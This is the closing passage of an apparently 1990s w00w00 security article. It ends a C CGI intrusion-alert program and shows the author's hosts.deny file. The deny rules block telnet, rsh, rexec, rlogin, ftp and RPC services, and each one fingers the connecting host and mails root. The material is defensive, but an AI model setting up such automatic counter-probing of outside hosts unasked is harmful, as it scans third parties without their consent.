  904.      printf("Information collected from fingering host (if any):\n");
  905.      printf("---------------------------------------------------\n\n"); 
  906.      fflush(stdout);
  907.  
  908.      if ((strcmp(addr, IP) != 0) && (strcmp(addr, "127.0.0.1") != 0))
  909.         execl(FINGERPROG, "finger", address, (char *)NULL);
  910.      else
  911.         printf("[from the local host (%s)]\n", IP);
  912.  
  913.      printf(".\n"); /* Terminate 'mail'. */
  914.     /* --------------- */
  915.  
  916.      FREEALL();
  917.      exit(0);
  918.   } else { 
  919.      close(fileno(stdin)), close(fileno(stderr)), close(fd[1]);
  920.      dup2(fd[0], fileno(stdin));  /* Send all input to the pipe's input. */
  921.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.        */
  922.      wait(NULL); /* Wait for child to completely finish before starting. */
  923.  
  924.      /* Setup the subject to send to mail. */
  925.      sprintf(cmdarg, "-s \"UNAUTHORIZED FROM %.*s!\"", 
  926.              sizeof(cmdarg) - 19, host);
  927.  
  928.      /* fork() another child to execute the mail program. */
  929.      if ((pid = fork()) == ERROR) {
  930.         perror("fork");
  931.         PRNSERVERR();
  932.         FREEALL();
  933.         exit(ERROR);
  934.     }
  935.  
  936.     if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL);
  937.   }
  938.  
  939.   printf("Content-type: text/html\n\n");
  940.   printf("<HTML><HEAD>\n");
  941.   printf("<TITLE>401 Unauthorized Access</TITLE>\n");
  942.   printf("</HEAD><BODY>\n");
  943.  
  944.   printf("<H1>Unauthorized Access</H1>\n");
  945.   printf("You are unauthorized to access the requested URL.<P>\n");
  946.  
  947.   printf("</BODY></HTML>\n");
  948.   
  949.   FREEALL();
  950. }
  951.  
  952.  
  953. Here is my hosts.deny too.........in case you wanted to see it ;)
  954. in.telnetd: ALL: /bin/mail -s "%h tried to telnet in" root
  955.  
  956. #FINGER - Noisy people
  957. #------------
  958. in.fingerd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FINGER ATTEMPT FROM %h" root & 
  959.  
  960. #Security reasons
  961. #---------------
  962. in.ftpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FTP ATTEMPT FROM %h" root &
  963. in.rlogind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RLOGIN ATTEMPT FROM %h" root &
  964. #in.telnetd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "TELNET ATTEMPT FROM %h" root &
  965.  
  966. # PORTMAP 
  967. #-------------
  968. portmap: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "PORTMAP ATTEMPT FROM %h. Using %s" root &
  969.  
  970. #COMSAT
  971. in.comsat:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "COMSAT ATTEMPT FROM %h" root &
  972.  
  973. #REXECD
  974. in.rexecd: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "REXEC ATTEMPT FROM %h" root &
  975.  
  976. #RSHD
  977. in.rshd:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RSHD ATTEMPT FROM %h" root &
  978.  
  979. #NNRPD
  980. in.nnrpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "NNRPD ATTEMPT FROM %h" root &
  981.  
  982. #RPCBIND
  983. rpcbind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RPCBIND ATTEMPT FROM %h. Using %s" root &
  984.  
  985. #ALL: paranoid
  986.  
  987.  
  988. Well.......................................we're winding down to the end.
  989.  
  990. It has been fun and I don't have much more to say on this article.
  991. Thanks for reading, please feel free to use and distribute this, although
  992. I wish for you to leave my comments and "header" at the tops ... ya know
  993. my "copyright" :) 
  994.  
  995. You can access a few of my things at ftp.w00w00.org or
  996. www.w00w00.org. 
  997.  
  998.                 Shok (Matt Conover)
  999.  
  1000. Email: shok@dataforce.net, shok@sekurity.org
  1001.  
  1002.